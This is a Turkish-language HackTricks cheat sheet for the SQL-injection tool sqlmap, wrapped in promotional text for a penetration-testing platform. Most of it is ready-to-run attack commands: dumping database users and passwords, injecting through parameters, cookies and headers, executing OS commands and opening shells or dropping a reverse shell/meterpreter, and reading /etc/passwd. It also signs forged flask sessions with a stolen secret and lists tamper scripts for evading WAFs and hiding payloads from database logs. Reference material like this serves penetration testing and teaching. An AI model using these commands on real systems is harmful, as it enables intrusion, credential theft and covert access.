SQLMap - Cheetsheat

HackTricks'i Destekleyin

Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; keşiften raporlamaya kadar. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.

SQLmap için Temel Argümanlar

Genel

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Bilgi Alma

Dahili

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB verileri

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Enjeksiyon yeri

Burp/ZAP yakalamasından

İsteği yakalayın ve bir req.txt dosyası oluşturun.

sqlmap -r req.txt --current-user

GET İsteği Enjeksiyonu

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST İsteği Enjeksiyonu

sqlmap -u "http://example.com" --data "username=*&password=*"

Başlıklardaki ve Diğer HTTP Yöntemlerindeki Enjeksiyonlar

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Enjeksiyonun başarılı olduğunu belirtmek için dize

--string="string_showed_when_TRUE"

Eval

Sqlmap, her yükü göndermeden önce bazı python tek satırlık kodları ile işlemek için -e veya --eval kullanımına izin verir. Bu, yükü göndermeden önce özel yollarla işlemek için çok kolay ve hızlı hale getirir. Aşağıdaki örnekte flask çerez oturumu göndermeden önce flask tarafından bilinen bir anahtar ile imzalanmıştır:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Dosya Oku

--file-read=/etc/passwd

SQLmap ile bir web sitesini tarayın ve otomatik olarak istismar edin

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

İkinci Derece Enjeksiyon

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Bu yazıyı okuyun sqlmap ile basit ve karmaşık ikinci derece enjeksiyonların nasıl gerçekleştirileceği hakkında.

Enjeksiyonu Özelleştirme

Bir ek ayarlayın

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Önek

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Boolean enjeksiyonu bulmaya yardım

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Unutmayın ki kendi tamper'ınızı python ile oluşturabilirsiniz ve bu çok basit. Bir tamper örneğini İkinci Derece Enjeksiyon sayfasında burada bulabilirsiniz.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperAçıklama

apostrophemask.py

Apostrof karakterini UTF-8 tam genişlik karşılığı ile değiştirir

apostrophenullencode.py

Apostrof karakterini yasadışı çift unicode karşılığı ile değiştirir

appendnullbyte.py

Payload'un sonuna kodlanmış NULL byte karakteri ekler

base64encode.py

Verilen payload'daki tüm karakterleri Base64 ile kodlar

between.py

'>' operatörünü 'NOT BETWEEN 0 AND #' ile değiştirir

bluecoat.py

SQL ifadesinden sonra boşluk karakterini geçerli rastgele boş karakter ile değiştirir. Sonrasında '=' karakterini LIKE operatörü ile değiştirir

chardoubleencode.py

Verilen payload'daki tüm karakterleri çift url-encode eder (zaten kodlanmış olanları işlememektedir)

commalesslimit.py

'LIMIT M, N' gibi örnekleri 'LIMIT N OFFSET M' ile değiştirir

commalessmid.py

'MID(A, B, C)' gibi örnekleri 'MID(A FROM B FOR C)' ile değiştirir

concat2concatws.py

'CONCAT(A, B)' gibi örnekleri 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' ile değiştirir

charencode.py

Verilen payload'daki tüm karakterleri url-encode eder (zaten kodlanmış olanları işlememektedir)

charunicodeencode.py

Verilen payload'daki kodlanmamış karakterleri unicode-url-encode eder (zaten kodlanmış olanları işlememektedir). "%u0022"

charunicodeescape.py

Verilen payload'daki kodlanmamış karakterleri unicode-url-encode eder (zaten kodlanmış olanları işlememektedir). "\u0022"

equaltolike.py

Eşit ('=') operatörünün tüm örneklerini 'LIKE' operatörü ile değiştirir

escapequotes.py

Ters eğik çizgi ile alıntıları kaçırır (' ve ")

greatest.py

'>' operatörünü 'GREATEST' karşılığı ile değiştirir

halfversionedmorekeywords.py

Her anahtar kelimenin önüne versiyonlu MySQL yorumu ekler

ifnull2ifisnull.py

'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir

modsecurityversioned.py

Tam sorguyu versiyonlu yorum ile sarar

modsecurityzeroversioned.py

Tam sorguyu sıfır versiyonlu yorum ile sarar

multiplespaces.py

SQL anahtar kelimelerinin etrafına birden fazla boşluk ekler

nonrecursivereplacement.py

Önceden tanımlanmış SQL anahtar kelimelerini değiştirme için uygun temsillerle değiştirir (örneğin, .replace("SELECT", "")) filtreleri

percentage.py

Her karakterin önüne bir yüzde işareti ('%') ekler

overlongutf8.py

Verilen payload'daki tüm karakterleri dönüştürür (zaten kodlanmış olanları işlememektedir)

randomcase.py

Her anahtar kelime karakterini rastgele büyük/küçük harf değeri ile değiştirir

randomcomments.py

SQL anahtar kelimelerine rastgele yorumlar ekler

securesphere.py

Özel olarak hazırlanmış bir dize ekler

sp_password.py

Payload'un sonuna 'sp_password' ekler, böylece DBMS günlüklerinden otomatik olarak gizlenir

space2comment.py

Boşluk karakterini (' ') yorumlarla değiştirir

space2dash.py

Boşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler

space2hash.py

Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler

space2morehash.py

Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından rastgele bir dize ve yeni bir satır ('\n') ekler

space2mssqlblank.py

Boşluk karakterini (' ') geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir

space2mssqlhash.py

Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından yeni bir satır ('\n') ekler

space2mysqlblank.py

Boşluk karakterini (' ') geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir

space2mysqldash.py

Boşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından yeni bir satır ('\n') ekler

space2plus.py

Boşluk karakterini (' ') artı ('+') ile değiştirir

space2randomblank.py

Boşluk karakterini (' ') geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir

symboliclogical.py

AND ve OR mantıksal operatörlerini sembolik karşılıkları ile değiştirir (&& ve

unionalltounion.py

UNION ALL SELECT'i UNION SELECT ile değiştirir

unmagicquotes.py

Alıntı karakterini (') çok baytlı bir kombinasyon %bf%27 ile değiştirir, ardından sonunda genel bir yorum ekler (çalışması için)

uppercase.py

Her anahtar kelime karakterini büyük harf değeri 'INSERT' ile değiştirir

varnish.py

Bir HTTP başlığı 'X-originating-IP' ekler

versionedkeywords.py

Her işlev olmayan anahtar kelimeyi versiyonlu MySQL yorumu ile sarar

versionedmorekeywords.py

Her anahtar kelimeyi versiyonlu MySQL yorumu ile sarar

xforwardedfor.py

Sahte bir HTTP başlığı 'X-Forwarded-For' ekler

Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Pentester'ları değiştirmiyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.

HackTricks'i Destekleyin

Last updated